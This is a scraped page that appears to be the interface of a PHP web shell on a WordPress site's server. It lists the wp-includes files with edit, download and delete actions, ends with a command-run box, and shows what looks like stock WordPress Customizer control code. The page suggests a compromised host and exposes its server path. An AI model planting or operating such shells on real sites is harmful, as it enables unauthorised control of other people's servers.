/
home
/
desid573
/
public_html
/
magicride.ng
/
wp-includes
/
/home/desid573/public_html/magicride.ng/wp-includes
mkdir
upload
Name
Size
Mode
Actions
blocks/
-
0755
rm
certificates/
-
0755
rm
css/
-
0755
rm
customize/
-
0755
rm
fonts/
-
0755
rm
ID3/
-
0755
rm
images/
-
0755
rm
IXR/
-
0755
rm
js/
-
0755
rm
pomo/
-
0755
rm
random_compat/
-
0755
rm
Requests/
-
0755
rm
rest-api/
-
0755
rm
SimplePie/
-
0755
rm
sodium_compat/
-
0755
rm
Text/
-
0755
rm
theme-compat/
-
0755
rm
widgets/
-
0755
rm
admin-bar.php
30435
0644
edit
dl
rm
atomlib.php
11839
0644
edit
dl
rm
author-template.php
16650
0644
edit
dl
rm
blocks.php
18241
0644
edit
dl
rm
bookmark-template.php
11918
0644
edit
dl
rm
bookmark.php
13901
0644
edit
dl
rm
cache.php
21874
0644
edit
dl
rm
canonical.php
28487
0644
edit
dl
rm
capabilities.php
31721
0644
edit
dl
rm
category-template.php
52031
0644
edit
dl
rm
category.php
12227
0644
edit
dl
rm
class-feed.php
523
0644
edit
dl
rm
class-http.php
37141
0644
edit
dl
rm
class-IXR.php
2573
0644
edit
dl
rm
class-json.php
40476
0644
edit
dl
rm
class-oembed.php
31482
0644
edit
dl
rm
class-phpass.php
7317
0644
edit
dl
rm
class-phpmailer.php
148244
0644
edit
dl
rm
class-pop3.php
20919
0644
edit
dl
rm
class-requests.php
29790
0644
edit
dl
rm
class-simplepie.php
89264
0644
edit
dl
rm
class-smtp.php
39476
0644
edit
dl
rm
class-snoopy.php
37785
0644
edit
dl
rm
class-walker-category-dropdown.php
2127
0644
edit
dl
rm
class-walker-category.php
7751
0644
edit
dl
rm
class-walker-comment.php
13654
0644
edit
dl
rm
class-walker-nav-menu.php
8642
0644
edit
dl
rm
class-walker-page-dropdown.php
2298
0644
edit
dl
rm
class-walker-page.php
6993
0644
edit
dl
rm
class-wp-admin-bar.php
16920
0644
edit
dl
rm
class-wp-ajax-response.php
5127
0644
edit
dl
rm
class-wp-block-parser.php
15215
0644
edit
dl
rm
class-wp-block-type-registry.php
5089
0644
edit
dl
rm
class-wp-block-type.php
4815
0644
edit
dl
rm
class-wp-comment-query.php
43223
0644
edit
dl
rm
class-wp-comment.php
8961
0644
edit
dl
rm
class-wp-customize-control.php
25053
0644
edit
dl
rm
class-wp-customize-manager.php
201856
0644
edit
dl
rm
class-wp-customize-nav-menus.php
54354
0644
edit
dl
rm
class-wp-customize-panel.php
9647
0644
edit
dl
rm
class-wp-customize-section.php
10229
0644
edit
dl
rm
class-wp-customize-setting.php
28243
0644
edit
dl
rm
class-wp-customize-widgets.php
66296
0644
edit
dl
rm
class-wp-dependency.php
2335
0644
edit
dl
rm
class-wp-editor.php
67872
0644
edit
dl
rm
class-wp-embed.php
14732
0644
edit
dl
rm
class-wp-error.php
4923
0644
edit
dl
rm
class-wp-fatal-error-handler.php
6462
0644
edit
dl
rm
class-wp-feed-cache-transient.php
2560
0644
edit
dl
rm
class-wp-feed-cache.php
749
0644
edit
dl
rm
class-wp-hook.php
14105
0644
edit
dl
rm
class-wp-http-cookie.php
6847
0644
edit
dl
rm
class-wp-http-curl.php
11928
0644
edit
dl
rm
class-wp-http-encoding.php
6503
0644
edit
dl
rm
class-wp-http-ixr-client.php
3326
0644
edit
dl
rm
class-wp-http-proxy.php
6061
0644
edit
dl
rm
class-wp-http-requests-hooks.php
1876
0644
edit
dl
rm
class-wp-http-requests-response.php
4398
0644
edit
dl
rm
class-wp-http-response.php
2871
0644
edit
dl
rm
class-wp-http-streams.php
15385
0644
edit
dl
rm
class-wp-image-editor-gd.php
13061
0644
edit
dl
rm
class-wp-image-editor-imagick.php
21780
0644
edit
dl
rm
class-wp-image-editor.php
11761
0644
edit
dl
rm
class-wp-list-util.php
6396
0644
edit
dl
rm
class-wp-locale-switcher.php
5026
0644
edit
dl
rm
class-wp-locale.php
14629
0644
edit
dl
rm
class-wp-matchesmapregex.php
1804
0644
edit
dl
rm
class-wp-meta-query.php
23436
0644
edit
dl
rm
class-wp-metadata-lazyloader.php
5384
0644
edit
dl
rm
class-wp-network-query.php
17835
0644
edit
dl
rm
class-wp-network.php
12217
0644
edit
dl
rm
class-wp-oembed-controller.php
6024
0644
edit
dl
rm
class-wp-paused-extensions-storage.php
4933
0644
edit
dl
rm
class-wp-post-type.php
18236
0644
edit
dl
rm
class-wp-post.php
6441
0644
edit
dl
rm
class-wp-query.php
130818
0644
edit
dl
rm
class-wp-recovery-mode-cookie-service.php
6247
0644
edit
dl
rm
class-wp-recovery-mode-email-service.php
7996
0644
edit
dl
rm
class-wp-recovery-mode-key-service.php
4284
0644
edit
dl
rm
class-wp-recovery-mode-link-service.php
3370
0644
edit
dl
rm
class-wp-recovery-mode.php
11254
0644
edit
dl
rm
class-wp-rewrite.php
59821
0644
edit
dl
rm
class-wp-role.php
2661
0644
edit
dl
rm
class-wp-roles.php
8328
0644
edit
dl
rm
class-wp-session-tokens.php
7430
0644
edit
dl
rm
class-wp-simplepie-file.php
2326
0644
edit
dl
rm
class-wp-simplepie-sanitize-kses.php
1775
0644
edit
dl
rm
class-wp-site-query.php
28038
0644
edit
dl
rm
class-wp-site.php
7306
0644
edit
dl
rm
class-wp-tax-query.php
19433
0644
edit
dl
rm
class-wp-taxonomy.php
10661
0644
edit
dl
rm
class-wp-term-query.php
34656
0644
edit
dl
rm
class-wp-term.php
5265
0644
edit
dl
rm
class-wp-text-diff-renderer-inline.php
716
0644
edit
dl
rm
class-wp-text-diff-renderer-table.php
16448
0644
edit
dl
rm
class-wp-theme.php
50386
0644
edit
dl
rm
class-wp-user-meta-session-tokens.php
2990
0644
edit
dl
rm
class-wp-user-query.php
31224
0644
edit
dl
rm
class-wp-user.php
21414
0644
edit
dl
rm
class-wp-walker.php
12687
0644
edit
dl
rm
class-wp-widget-factory.php
3781
0644
edit
dl
rm
class-wp-widget.php
17834
0644
edit
dl
rm
class-wp-xmlrpc-server.php
207849
0644
edit
dl
rm
class-wp.php
24754
0644
edit
dl
rm
class.wp-dependencies.php
11512
0644
edit
dl
rm
class.wp-scripts.php
17191
0644
edit
dl
rm
class.wp-styles.php
9842
0644
edit
dl
rm
comment-template.php
89869
0644
edit
dl
rm
comment.php
115373
0644
edit
dl
rm
compat.php
17753
0644
edit
dl
rm
cron.php
32460
0644
edit
dl
rm
date.php
35618
0644
edit
dl
rm
default-constants.php
10126
0644
edit
dl
rm
default-filters.php
25727
0644
edit
dl
rm
default-widgets.php
2180
0644
edit
dl
rm
deprecated.php
114270
0644
edit
dl
rm
embed-template.php
344
0644
edit
dl
rm
embed.php
47122
0644
edit
dl
rm
error-protection.php
3386
0644
edit
dl
rm
error_log
565488
0644
edit
dl
rm
feed-atom-comments.php
5378
0644
edit
dl
rm
feed-atom.php
3081
0644
edit
dl
rm
feed-rdf.php
2660
0644
edit
dl
rm
feed-rss.php
1190
0644
edit
dl
rm
feed-rss2-comments.php
4122
0644
edit
dl
rm
feed-rss2.php
3782
0644
edit
dl
rm
feed.php
21380
0644
edit
dl
rm
formatting.php
295678
0644
edit
dl
rm
functions.php
219959
0644
edit
dl
rm
functions.wp-scripts.php
12830
0644
edit
dl
rm
functions.wp-styles.php
8219
0644
edit
dl
rm
general-template.php
146632
0644
edit
dl
rm
http.php
22424
0644
edit
dl
rm
kses.php
57233
0644
edit
dl
rm
l10n.php
51925
0644
edit
dl
rm
link-template.php
138482
0644
edit
dl
rm
load.php
43146
0644
edit
dl
rm
locale.php
141
0644
edit
dl
rm
media-template.php
48922
0644
edit
dl
rm
media.php
144763
0644
edit
dl
rm
meta.php
46551
0644
edit
dl
rm
ms-blogs.php
23122
0644
edit
dl
rm
ms-default-constants.php
4785
0644
edit
dl
rm
ms-default-filters.php
6414
0644
edit
dl
rm
ms-deprecated.php
19907
0644
edit
dl
rm
ms-files.php
2649
0644
edit
dl
rm
ms-functions.php
87059
0644
edit
dl
rm
ms-load.php
19557
0644
edit
dl
rm
ms-network.php
3658
0644
edit
dl
rm
ms-settings.php
4134
0644
edit
dl
rm
ms-site.php
43064
0644
edit
dl
rm
nav-menu-template.php
22008
0644
edit
dl
rm
nav-menu.php
40672
0644
edit
dl
rm
option.php
69555
0644
edit
dl
rm
pluggable-deprecated.php
6262
0644
edit
dl
rm
pluggable.php
98630
0644
edit
dl
rm
plugin.php
32068
0644
edit
dl
rm
post-formats.php
7024
0644
edit
dl
rm
post-template.php
61764
0644
edit
dl
rm
post-thumbnail-template.php
8957
0644
edit
dl
rm
post.php
235364
0644
edit
dl
rm
query.php
32993
0644
edit
dl
rm
registration-functions.php
180
0644
edit
dl
rm
registration.php
180
0644
edit
dl
rm
rest-api.php
42053
0644
edit
dl
rm
revision.php
21586
0644
edit
dl
rm
rewrite.php
17723
0644
edit
dl
rm
rss-functions.php
193
0644
edit
dl
rm
rss.php
23208
0644
edit
dl
rm
script-loader.php
109605
0644
edit
dl
rm
session.php
243
0644
edit
dl
rm
shortcodes.php
21698
0644
edit
dl
rm
spl-autoload-compat.php
2574
0644
edit
dl
rm
taxonomy.php
156655
0644
edit
dl
rm
template-loader.php
2695
0644
edit
dl
rm
template.php
20828
0644
edit
dl
rm
theme.php
102301
0644
edit
dl
rm
update.php
25382
0644
edit
dl
rm
user.php
124086
0644
edit
dl
rm
vars.php
5715
0644
edit
dl
rm
version.php
762
0644
edit
dl
rm
widgets.php
57200
0644
edit
dl
rm
wlwmanifest.xml
1045
0644
edit
dl
rm
wp-db.php
101620
0644
edit
dl
rm
wp-diff.php
662
0644
edit
dl
rm
Edit:
/home/desid573/public_html/magicride.ng/wp-includes/class-wp-customize-control.php
(25053B)
<?php /** * WordPress Customize Control classes * * @package WordPress * @subpackage Customize * @since 3.4.0 */ /** * Customize Control class. * * @since 3.4.0 */ class WP_Customize_Control { /** * Incremented with each new class instantiation, then stored in $instance_number. * * Used when sorting two instances whose priorities are equal. * * @since 4.1.0 * @var int */ protected static $instance_count = 0; /** * Order in which this instance was created in relation to other instances. * * @since 4.1.0 * @var int */ public $instance_number; /** * Customizer manager. * * @since 3.4.0 * @var WP_Customize_Manager */ public $manager; /** * Control ID. * * @since 3.4.0 * @var string */ public $id; /** * All settings tied to the control. * * @since 3.4.0 * @var array */ public $settings; /** * The primary setting for the control (if there is one). * * @since 3.4.0 * @var string */ public $setting = 'default'; /** * Capability required to use this control. * * Normally this is empty and the capability is derived from the capabilities * of the associated `$settings`. * * @since 4.5.0 * @var string */ public $capability; /** * Order priority to load the control in Customizer. * * @since 3.4.0 * @var int */ public $priority = 10; /** * Section the control belongs to. * * @since 3.4.0 * @var string */ public $section = ''; /** * Label for the control. * * @since 3.4.0 * @var string */ public $label = ''; /** * Description for the control. * * @since 4.0.0 * @var string */ public $description = ''; /** * List of choices for 'radio' or 'select' type controls, where values are the keys, and labels are the values. * * @since 3.4.0 * @var array */ public $choices = array(); /** * List of custom input attributes for control output, where attribute names are the keys and values are the values. * * Not used for 'checkbox', 'radio', 'select', 'textarea', or 'dropdown-pages' control types. * * @since 4.0.0 * @var array */ public $input_attrs = array(); /** * Show UI for adding new content, currently only used for the dropdown-pages control. * * @since 4.7.0 * @var bool */ public $allow_addition = false; /** * @deprecated It is better to just call the json() method * @since 3.4.0 * @var array */ public $json = array(); /** * Control's Type. * * @since 3.4.0 * @var string */ public $type = 'text'; /** * Callback. * * @since 4.0.0 * * @see WP_Customize_Control::active() * * @var callable Callback is called with one argument, the instance of * WP_Customize_Control, and returns bool to indicate whether * the control is active (such as it relates to the URL * currently being previewed). */ public $active_callback = ''; /** * Constructor. * * Supplied `$args` override class property defaults. * * If `$args['settings']` is not defined, use the $id as the setting ID. * * @since 3.4.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id Control ID. * @param array $args { * Optional. Arguments to override class property defaults. * * @type int $instance_number Order in which this instance was created in relation * to other instances. * @type WP_Customize_Manager $manager Customizer bootstrap instance. * @type string $id Control ID. * @type array $settings All settings tied to the control. If undefined, `$id` will * be used. * @type string $setting The primary setting for the control (if there is one). * Default 'default'. * @type int $priority Order priority to load the control. Default 10. * @type string $section Section the control belongs to. Default empty. * @type string $label Label for the control. Default empty. * @type string $description Description for the control. Default empty. * @type array $choices List of choices for 'radio' or 'select' type controls, where * values are the keys, and labels are the values. * Default empty array. * @type array $input_attrs List of custom input attributes for control output, where * attribute names are the keys and values are the values. Not * used for 'checkbox', 'radio', 'select', 'textarea', or * 'dropdown-pages' control types. Default empty array. * @type array $json Deprecated. Use WP_Customize_Control::json() instead. * @type string $type Control type. Core controls include 'text', 'checkbox', * 'textarea', 'radio', 'select', and 'dropdown-pages'. Additional * input types such as 'email', 'url', 'number', 'hidden', and * 'date' are supported implicitly. Default 'text'. * } */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; // Process settings. if ( ! isset( $this->settings ) ) { $this->settings = $id; } $settings = array(); if ( is_array( $this->settings ) ) { foreach ( $this->settings as $key => $setting ) { $settings[ $key ] = $this->manager->get_setting( $setting ); } } elseif ( is_string( $this->settings ) ) { $this->setting = $this->manager->get_setting( $this->settings ); $settings['default'] = $this->setting; } $this->settings = $settings; } /** * Enqueue control related scripts/styles. * * @since 3.4.0 */ public function enqueue() {} /** * Check whether control is active to current Customizer preview. * * @since 4.0.0 * * @return bool Whether the control is active to the current preview. */ final public function active() { $control = $this; $active = call_user_func( $this->active_callback, $this ); /** * Filters response of WP_Customize_Control::active(). * * @since 4.0.0 * * @param bool $active Whether the Customizer control is active. * @param WP_Customize_Control $control WP_Customize_Control instance. */ $active = apply_filters( 'customize_control_active', $active, $control ); return $active; } /** * Default callback used when invoking WP_Customize_Control::active(). * * Subclasses can override this with their specific logic, or they may * provide an 'active_callback' argument to the constructor. * * @since 4.0.0 * * @return true Always true. */ public function active_callback() { return true; } /** * Fetch a setting's value. * Grabs the main setting by default. * * @since 3.4.0 * * @param string $setting_key * @return mixed The requested setting's value, if the setting exists. */ final public function value( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) ) { return $this->settings[ $setting_key ]->value(); } } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 */ public function to_json() { $this->json['settings'] = array(); foreach ( $this->settings as $key => $setting ) { $this->json['settings'][ $key ] = $setting->id; } $this->json['type'] = $this->type; $this->json['priority'] = $this->priority; $this->json['active'] = $this->active(); $this->json['section'] = $this->section; $this->json['content'] = $this->get_content(); $this->json['label'] = $this->label; $this->json['description'] = $this->description; $this->json['instanceNumber'] = $this->instance_number; if ( 'dropdown-pages' === $this->type ) { $this->json['allow_addition'] = $this->allow_addition; } } /** * Get the data to export to the client via JSON. * * @since 4.1.0 * * @return array Array of parameters passed to the JavaScript. */ public function json() { $this->to_json(); return $this->json; } /** * Checks if the user can use this control. * * Returns false if the user cannot manipulate one of the associated settings, * or if one of the associated settings does not exist. Also returns false if * the associated section does not exist or if its capability check returns * false. * * @since 3.4.0 * * @return bool False if theme doesn't support the control or user doesn't have the required permissions, otherwise true. */ final public function check_capabilities() { if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) { return false; } foreach ( $this->settings as $setting ) { if ( ! $setting || ! $setting->check_capabilities() ) { return false; } } $section = $this->manager->get_section( $this->section ); if ( isset( $section ) && ! $section->check_capabilities() ) { return false; } return true; } /** * Get the control's content for insertion into the Customizer pane. * * @since 4.1.0 * * @return string Contents of the control. */ final public function get_content() { ob_start(); $this->maybe_render(); return trim( ob_get_clean() ); } /** * Check capabilities and render the control. * * @since 3.4.0 * @uses WP_Customize_Control::render() */ final public function maybe_render() { if ( ! $this->check_capabilities() ) { return; } /** * Fires just before the current Customizer control is rendered. * * @since 3.4.0 * * @param WP_Customize_Control $this WP_Customize_Control instance. */ do_action( 'customize_render_control', $this ); /** * Fires just before a specific Customizer control is rendered. * * The dynamic portion of the hook name, `$this->id`, refers to * the control ID. * * @since 3.4.0 * * @param WP_Customize_Control $this WP_Customize_Control instance. */ do_action( "customize_render_control_{$this->id}", $this ); $this->render(); } /** * Renders the control wrapper and calls $this->render_content() for the internals. * * @since 3.4.0 */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control customize-control-' . $this->type; printf( '<li id="%s" class="%s">', esc_attr( $id ), esc_attr( $class ) ); $this->render_content(); echo '</li>'; } /** * Get the data link attribute for a setting. * * @since 3.4.0 * @since 4.9.0 Return a `data-customize-setting-key-link` attribute if a setting is not registered for the supplied setting key. * * @param string $setting_key * @return string Data link parameter, a `data-customize-setting-link` attribute if the `$setting_key` refers to a pre-registered setting, * and a `data-customize-setting-key-link` attribute if the setting is not yet registered. */ public function get_link( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) { return 'data-customize-setting-link="' . esc_attr( $this->settings[ $setting_key ]->id ) . '"'; } else { return 'data-customize-setting-key-link="' . esc_attr( $setting_key ) . '"'; } } /** * Render the data link attribute for the control's input element. * * @since 3.4.0 * @uses WP_Customize_Control::get_link() * * @param string $setting_key */ public function link( $setting_key = 'default' ) { echo $this->get_link( $setting_key ); } /** * Render the custom attributes for the control's input element. * * @since 4.0.0 */ public function input_attrs() { foreach ( $this->input_attrs as $attr => $value ) { echo $attr . '="' . esc_attr( $value ) . '" '; } } /** * Render the control's content. * * Allows the content to be overridden without having to rewrite the wrapper in `$this::render()`. * * Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`. * Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly. * * Control content can alternately be rendered in JS. See WP_Customize_Control::print_template(). * * @since 3.4.0 */ protected function render_content() { $input_id = '_customize-input-' . $this->id; $description_id = '_customize-description-' . $this->id; $describedby_attr = ( ! empty( $this->description ) ) ? ' aria-describedby="' . esc_attr( $description_id ) . '" ' : ''; switch ( $this->type ) { case 'checkbox': ?> <span class="customize-inside-control-row"> <input id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> type="checkbox" value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> <?php checked( $this->value() ); ?> /> <label for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_html( $this->label ); ?></label> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> </span> <?php break; case 'radio': if ( empty( $this->choices ) ) { return; } $name = '_customize-radio-' . $this->id; ?> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <?php foreach ( $this->choices as $value => $label ) : ?> <span class="customize-inside-control-row"> <input id="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>" type="radio" <?php echo $describedby_attr; ?> value="<?php echo esc_attr( $value ); ?>" name="<?php echo esc_attr( $name ); ?>" <?php $this->link(); ?> <?php checked( $this->value(), $value ); ?> /> <label for="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"><?php echo esc_html( $label ); ?></label> </span> <?php endforeach; ?> <?php break; case 'select': if ( empty( $this->choices ) ) { return; } ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <select id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> <?php $this->link(); ?>> <?php foreach ( $this->choices as $value => $label ) { echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>'; } ?> </select> <?php break; case 'textarea': ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <textarea id="<?php echo esc_attr( $input_id ); ?>" rows="5" <?php echo $describedby_attr; ?> <?php $this->input_attrs(); ?> <?php $this->link(); ?> ><?php echo esc_textarea( $this->value() ); ?></textarea> <?php break; case 'dropdown-pages': ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <?php $dropdown_name = '_customize-dropdown-pages-' . $this->id; $show_option_none = __( '— Select —' ); $option_none_value = '0'; $dropdown = wp_dropdown_pages( array( 'name' => $dropdown_name, 'echo' => 0, 'show_option_none' => $show_option_none, 'option_none_value' => $option_none_value, 'selected' => $this->value(), ) ); if ( empty( $dropdown ) ) { $dropdown = sprintf( '<select id="%1$s" name="%1$s">', esc_attr( $dropdown_name ) ); $dropdown .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $option_none_value ), esc_html( $show_option_none ) ); $dropdown .= '</select>'; } // Hackily add in the data link parameter. $dropdown = str_replace( '<select', '<select ' . $this->get_link() . ' id="' . esc_attr( $input_id ) . '" ' . $describedby_attr, $dropdown ); // Even more hacikly add auto-draft page stubs. // @todo Eventually this should be removed in favor of the pages being injected into the underlying get_pages() call. See <https://github.com/xwp/wp-customize-posts/pull/250>. $nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' ); if ( $nav_menus_created_posts_setting && current_user_can( 'publish_pages' ) ) { $auto_draft_page_options = ''; foreach ( $nav_menus_created_posts_setting->value() as $auto_draft_page_id ) { $post = get_post( $auto_draft_page_id ); if ( $post && 'page' === $post->post_type ) { $auto_draft_page_options .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $post->ID ), esc_html( $post->post_title ) ); } } if ( $auto_draft_page_options ) { $dropdown = str_replace( '</select>', $auto_draft_page_options . '</select>', $dropdown ); } } echo $dropdown; ?> <?php if ( $this->allow_addition && current_user_can( 'publish_pages' ) && current_user_can( 'edit_theme_options' ) ) : // Currently tied to menus functionality. ?> <button type="button" class="button-link add-new-toggle"> <?php /* translators: %s: add new page label */ printf( __( '+ %s' ), get_post_type_object( 'page' )->labels->add_new_item ); ?> </button> <div class="new-content-item"> <label for="create-input-<?php echo $this->id; ?>"><span class="screen-reader-text"><?php _e( 'New page title' ); ?></span></label> <input type="text" id="create-input-<?php echo $this->id; ?>" class="create-item-input" placeholder="<?php esc_attr_e( 'New page title…' ); ?>"> <button type="button" class="button add-content"><?php _e( 'Add' ); ?></button> </div> <?php endif; ?> <?php break; default: ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <input id="<?php echo esc_attr( $input_id ); ?>" type="<?php echo esc_attr( $this->type ); ?>" <?php echo $describedby_attr; ?> <?php $this->input_attrs(); ?> <?php if ( ! isset( $this->input_attrs['value'] ) ) : ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php endif; ?> <?php $this->link(); ?> /> <?php break; } } /** * Render the control's JS template. * * This function is only run for control types that have been registered with * WP_Customize_Manager::register_control_type(). * * In the future, this will also print the template for the control's container * element and be override-able. * * @since 4.1.0 */ final public function print_template() { ?> <script type="text/html" id="tmpl-customize-control-<?php echo $this->type; ?>-content"> <?php $this->content_template(); ?> </script> <?php } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Control::to_json(). * * @see WP_Customize_Control::print_template() * * @since 4.1.0 */ protected function content_template() {} } /** * WP_Customize_Color_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php' ); /** * WP_Customize_Media_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php' ); /** * WP_Customize_Upload_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php' ); /** * WP_Customize_Image_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php' ); /** * WP_Customize_Background_Image_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php' ); /** * WP_Customize_Background_Position_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php' ); /** * WP_Customize_Cropped_Image_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php' ); /** * WP_Customize_Site_Icon_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php' ); /** * WP_Customize_Header_Image_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php' ); /** * WP_Customize_Theme_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php' ); /** * WP_Widget_Area_Customize_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php' ); /** * WP_Widget_Form_Customize_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php' ); /** * WP_Customize_Nav_Menu_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php' ); /** * WP_Customize_Nav_Menu_Item_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php' ); /** * WP_Customize_Nav_Menu_Location_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php' ); /** * WP_Customize_Nav_Menu_Name_Control class. * * As this file is deprecated, it will trigger a deprecation notice if instantiated. In a subsequent * release, the require_once() here will be removed and _deprecated_file() will be called if file is * required at all. * * @deprecated 4.9.0 This file is no longer used due to new menu creation UX. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php' ); /** * WP_Customize_Nav_Menu_Locations_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php' ); /** * WP_Customize_Nav_Menu_Auto_Add_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php' ); /** * WP_Customize_Date_Time_Control class. */ require_once( ABSPATH . WPINC . '/customize/class-wp-customize-date-time-control.php' );
Save
cmd:
run